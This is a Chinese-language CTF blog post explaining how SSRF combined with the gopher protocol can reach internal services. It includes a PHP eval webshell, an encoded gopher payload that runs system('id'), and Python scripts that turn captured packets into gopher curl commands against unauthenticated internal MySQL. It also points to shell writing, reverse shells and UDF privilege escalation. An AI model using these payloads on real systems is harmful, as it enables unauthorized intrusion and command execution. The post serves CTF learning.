N0rth3ty's Blog.

CTF中SSRF的一些Trick

字数统计: 1.7k阅读时长: 6 min
2019/04/08 Share

SSRF

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

常见攻击面

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  • 攻击运行在内网或本地的应用程序(比如溢出)
  • 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  • 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  • 利用 file 协议读取本地文件等

扩展攻击面

主要讲同gopher协议一起运用的攻击面,gopher协议可以说是非常的万金油了
gopher协议的扩展攻击面在之前长亭的文章中已经写得很详细了
我这里主要讲一下如何通过抓包去构造,以及其中的一些具体细节。

通过gopher发送post数据包

gopher协议是可以发送post包的,怎么发送呢
抓包编码构造即可
比如,内网有一个exp.php

1
2
3
<?php 
eval($_POST['a']);
?>

那我们在本地搭建环境访问并抓包
image

找到这个请求包并以原始数据显示

image
写个脚本编码一下

1
2
3
4
5
6
7
8
import urllib
from urllib.parse import quote
s='xxxx'
len=len(s)
p=''
for i in range(len)[::2]:
p+=urllib.parse.quote(chr(int(s[i:i+2],16)))
print(p)

最终得到的payload为

1
gopher://127.0.0.1:80/_POST%20/exp.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Linux%3B%20Android%209.0%3B%20SAMSUNG-SM-T377A%20Build/NMF26X%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/72.0.3626.109%20Mobile%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AReferer%3A%20http%3A//127.0.0.1/exp.php%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2025%0D%0AConnection%3A%20keep-alive%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Aa%3Dsystem%2528%2522id%2522%2529%253B

本地curl发包测试一下
image
后续可以反弹shell

通过gopher攻击内网数据库

redis

这个的话算是比较常规的情况了,hackme上有道非常经典的题目
XSS+SSRF+Redis
之前博客有写过wp
http://www.northity.com/2018/10/23/XSSme%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/
所以这里再就gopher协议攻击redis做进一步的分析
其实也就是在hackme题目上再深入一点,写入一个shell并反弹
然后写到这儿发现先知已经有师傅写过SSRF+Redis了。。。
所以直接上连接吧
https://xz.aliyun.com/t/1800

Mysql

这是最近学到的,倒回去发现是之前出现在ISITDTU CTF 2018中的题目
https://fireshellsecurity.team/isitdtu-friss/

Mysql存在三种连接方式

  • Unix套接字;
  • 内存共享/命名管道;
  • TCP/IP套接字;

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。

  • 当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
  • 当无需密码认证时直接发送TCP/IP数据包即可

Mysql的未授权简单说就是当无需密码认证时直接发送TCP/IP数据包即可。
TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –proot时就是要TCP/IP套接字。
这也是利用gopher协议攻击mysql的前提

题目环境肯定是关掉了,我们本地复现一下
创建一个空密码用户并赋予权限

1
2
CREATE USER 'test'@'localhost';
GRANT ALL ON *.* TO 'test'@'localhost';

用tcpdump抓包

1
tcpdump -i lo port 3306 -w mysql.pcapng

然后再另一边链接mysql
这里有个坑点,localhost和127.0.0.1是有区别的

localhost也叫local ,正确的解释是:本地服务器。
127.0.0.1的正确解释是:本机地址(本机服务器),它的解析通过本机的host文件,windows自动将localhost解析为127.0.0.1。
localhot(local)是不经网卡传输的,这点很重要,它不受网络防火墙和网卡相关的的限制。127.0.0.1是通过网卡传输,依赖网卡,并受到网络防火墙和网卡相关的限制
简单说
当我们通过mysql -hlocalhost -uname去连接的时候,没有经过网卡,使用的是unix套接字连接,这种时候我们tcpdump是抓不到包的

当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。

所以我们必须使用

1
mysql -h 127.0.0.1 -uname

注意检查配置/etc/mysql/my.cnfskip_networking这个选项要关闭
关闭以后我们才能使用TCP/IP套接字连接。

在一个窗口用tcpdump抓包,另一边连接mysql并进行一些查询操作
image
选择一个mysql的包追踪流,选择发送的包并以原始数据显示

image

编码脚本

1
2
3
4
5
6
7
8
9
10
#encoding:utf-8

def result(s):
a=[s[i:i+2] for i in xrange(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == '__main__':
import sys
s=sys.argv[1]
print result(s)

image
成功返回数据

还可以尝试通过mysql写文件获取shell
这里做一个简单演示
同样抓包编码,然后发起请求即可

image
所以这里如果mysql有写权限,是可以写shell的
同时也可以udf提权,(就不搭环境演示了
原理都是构造好包就行
这里还有个点就是要注意构造包时要选择和题目环境相同的数据库

谈谈ctf中的trick

ctf中涉及SSRF的点如果深入一点暂时也只遇到过上面两种
都是比较清晰的一个主线,通过SSRF去打内网数据库
在这前面可能给你套一层,比如hackme的xss,通过xss打后台的ssrf ,然后通常来讲就是redis的未授权了。
这不是最近又学到了新套路嘛,又写上一写
直接给一个SSRF的点,然后给你子网你去进行扫描(因为3306是常见端口),然后再通过gopher打mysql的未授权
其实思路还是蛮清晰的,如果没有回显,就尝试写shell
写完这篇文章后烤大提醒已经有现成的工具了
https://github.com/FoolMitAh/mysql_gopher_attack

参考资料

https://blog.chaitin.cn/gopher-attack-surfaces/#h2.2_%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91-redis
https://paper.seebug.org/510/

CATALOG
  1. 1. SSRF
  2. 2. 扩展攻击面
    1. 2.1. 通过gopher发送post数据包
    2. 2.2. 通过gopher攻击内网数据库
      1. 2.2.1. redis
      2. 2.2.2. Mysql
      3. 2.2.3. 谈谈ctf中的trick
    3. 2.3. 参考资料